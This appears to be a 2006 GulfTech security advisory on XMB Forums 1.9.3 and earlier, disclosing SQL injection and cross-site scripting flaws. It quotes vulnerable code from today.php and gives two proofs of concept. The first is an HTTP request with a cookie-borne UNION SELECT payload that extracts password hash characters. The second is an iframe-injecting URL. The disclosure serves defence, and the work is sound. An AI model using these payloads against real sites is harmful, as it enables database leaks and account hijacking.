########################################################## # GulfTech Security Research February 12, 2006 ########################################################## # Vendor : XMB Software # URL : http://www.xmbforum.com/ # Version : XMB Forums <= 1.9.3 # Risk : Multiple Vulnerabilities ########################################################## Description: XMB Forums is a popular forum software written in php and mysql that allows you to open up your own online community or messageboard. There are a number of security issues in XMB Forums that may allow for an attacker to perform SQL injection attacks or cross site scripting attacks against the vulnerable web application. These types of attacks may allow for disclosure of sensitive data such as cookie information or contents from the underlying database. SQL Injection: There are a number of SQL Injection issues in XMB Forums. The first of these issues I will talk about is in 'today.php' and is present due to the lack of sanitation when attempting to handle cookie data in regards to password protected forums. if ( X_MEMBER ) { // let's add fids for passworded forums that the user can access $r2 = array(); foreach ($_COOKIE as $key=>$val) { if (preg_match('#^fidpw([0-9]+)$#', $key, $fetch)) { $r2[] = "(fid='$fetch[1]' AND password='$val')"; } } if (count($r2) > 0) { $r = implode(' OR ', $r2); $q = $db->query("SELECT fid FROM $table_forums WHERE $r"); while($f = $db->fetch_array($q)) { $fids[] = $f['fid']; } } } The above code, which is taken from 'today.php' never sanitizes the variable $val which makes SQL Injection possible. GET /today.php HTTP/1.1 Host: xmb User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Firefox/1.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://xmb/viewthread.php?tid=2&page=1 Cookie: xmblva=1137629907; xmbuser=james; xmbpw=44cc344d25a2ffe540adbd5678e2394c; fidpw0=') UNION SELECT uid FROM xmb_members WHERE uid=1 AND MID(password,1,1)=2/* Cache-Control: max-age=0 For example, the above request would show any topics from the last 24hrs including ones the user does not have access to, and should not see, as long as the user with the uid of 1 has a password hash that starts with the number two. Otherwise only posts that the user has access to will be shown. Also, in addition to this SQL Injection issue are a few others that are a result of the $u2u_select array not being properly sanitized before being passed to several functions. The vulnerable functions are u2u_mod_delete(), u2u_mod_move(), and u2u_mod_markUnread(). These three vulnerable function calls are present in u2u.inc.php Cross Site Scripting: In addition to the previously mentioned SQL Injection issues, there is also a cross site scripting issue in the way the u2u feature handles GPC data when composing messages etc. http:///xmb/u2u.php?action=send&username=%22%3E%3Ciframe%3E An attacker could use this vulnerability to steal a users cookie data and possibly take control of the victims account. Solution: The vendor did not respond to our contact attempts. Related Info: The original advisory can be found at the following location http://www.gulftech.org/?node=research&article_id=00100-02122006